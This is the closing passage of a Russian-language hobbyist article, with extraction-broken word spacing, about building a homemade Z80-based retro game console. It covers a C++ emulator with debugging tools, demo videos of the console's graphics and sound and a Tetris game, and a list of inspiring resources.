За тем получив ший ся файл мож но раз местить на кар ту SD, заг рузчик кон‐ 
соли отту да его про чита ет, пош лет всю необ ходимую информа цию соот ветс‐ 
тву ющим ОЗУ и запус тит прог рамму.

Ис поль зуем эму лятор для раз работ ки
Что бы облегчить раз работ ку соф та для кон соли, я написал на C++ эму лятор,
исполь зуя  .  Что бы  эму лиро вать  про цес сор,  я  обра тил ся  к  биб‐ 
лиоте ке  .

wxWidgets
libz80

Я добавил в эму лятор нес коль ко отла доч ных фун кций. В час тнос ти, я могу
ока зать ся в кон крет ной точ ке оста нова и прой ти из нее по всем ассем блер‐ 
ным инс трук циям. Так же есть связь с исходным кодом, если прог рамма была
ском пилиро вана на C. Что каса ется гра фики, то тут я могу про верить, что хра‐ 
нит ся на стра ницах  тай лов и в имен ных таб лицах  (пред став ление фона раз‐ 
мером в четыре экра на), а так же что находит ся в сим воль ном ОЗУ (CHRRAM).

Вот  при мер  того,  как  запус кать  прог рамму  на  эму лято ре  и  исполь зовать
некото рые отла доч ные инс тру мен ты.

ДЕМОНСТРИРУЕМ РАБОТУ КОНСОЛИ
Ви део из  это го раз дела — это  съем ка  экра на  элек трон но‐лучево го  телеви‐ 
зора на камеру телефо на. Про шу про щения, что качес тво не очень высокое.

За пус каем с помощью бей сика и кла виату ры PS/2. На этом видео я — сра‐ 
зу  пос ле  соз дания  пер вой  прог раммы —  записы ваю  нап рямую  в  ОЗУ  гра‐ 
фичес кого модуля (PPU‐RAM) через учас ток вво да‐вывода коман ды вклю чить
и нас тро ить спрайт, а в кон це перемес тить его.

Де монс тра ция воз можнос тей  гра фики. На этом видео показа на прог рамма,
которая отоб ража ет 64 спрай та раз мером 16 × 16 пик селей, кас томную прок‐ 
рутку фона,  а  так же наложен ную плаш ку,  которая дви гает ся  вверх и  вниз —
как перед спрай тами, так и за ними.

Де монс тра ция  воз можнос тей  зву ка  показы вает,  на  что  спо собен
YM3438 в сочета нии с про игры вани ем сем плов PCM. Час тотно‐модуля цион‐ 
ная музыка вмес те с сем пла ми PCM на этом демо поч ти пол ностью занима‐ 
ют 128 Кбайт ОЗУ зву ково го модуля.

Тет рис,  исполь зующий  поч ти  исклю читель но  фоновые  тай лы  для  гра фики,
YM3438 для музыки и пат чи PWM для зву ковых эффектов.

ЗАКЛЮЧЕНИЕ
Этот  про ект  стал  нас тоящей  воп лощен ной  меч той,  я  работаю  над  ним  уже
нес коль ко лет в сво бод ное и не очень вре мя. Никог да не думал, что зай ду так
далеко, пыта ясь соб рать собс твен ную игро вую кон соль в рет рости ле. Конеч‐ 
но, она не иде аль на — я по‐преж нему вов се не эксперт в элек тро нике. В кон‐ 
соли слиш ком мно го ком понен тов, и ее, несом ненно, мож но было бы сде лать
луч ше и эффектив ней — навер няка кто‐нибудь из чита ющих этот текст дума ет
имен но  так.  Тем не менее,  пока  я  занимал ся  этим про ектом,  я  узнал мно го
нового  об  элек тро нике,  игро вых  кон солях  и  компь ютер ном  дизай не,  язы ке
ассем бле ра и дру гих инте рес ных темах. Ну и сверх того я получил огромное
удов летво рение, играя в игру, которую сде лал сам, на железе, которое я тоже
сди зай нил и сде лал сам.

Я  пла нирую  собирать  и  дру гие  кон соли  и  компь юте ры. На  самом деле  я
уже  поч ти  закон чил  еще  одну  игро вую  прис тавку.  Это  упро щен ная  кон соль
в рет рости ле, в осно ве которой лежит дешевая пла та ПЛИС и нес коль ко дру‐ 
гих ком понен тов (но их, оче вид но, не так мно го, как в пер вом про екте). Она
изна чаль но задума на как дешевая и тиражи руемая.

WWW

Сайт  и  каналы,  которые  не  толь ко  вдох новили
меня,  но  и  помог ли  раз решить  труд ности,
с  которы ми  я  стол кнул ся  со  вре мя  работы
над про ектом.
•Uzebox
•Ben Ryves
•Retroleum
•Z80.info
•EEVBlog
•Retro Game Mechanics

http://sdcc.sourceforge.net/
http://deflemask.com/
https://www.wxwidgets.org/
https://github.com/ggambetta/libz80
https://www.youtube.com/watch?v=2UNjKx4uZGY
https://www.youtube.com/watch?v=OA0q3_Krgxc
https://www.youtube.com/watch?v=xDsTGmqxLzM
https://www.youtube.com/watch?v=E77XZUwKd54
http://uzebox.org/
http://benryves.com/
http://blog.retroleum.co.uk/
http://www.z80.info/
https://www.youtube.com/channel/UC2DjFE7Xf11URZqWBigcVOQ
https://www.youtube.com/channel/UCwRqWnW5ZkVaP_lZF7caZ-g
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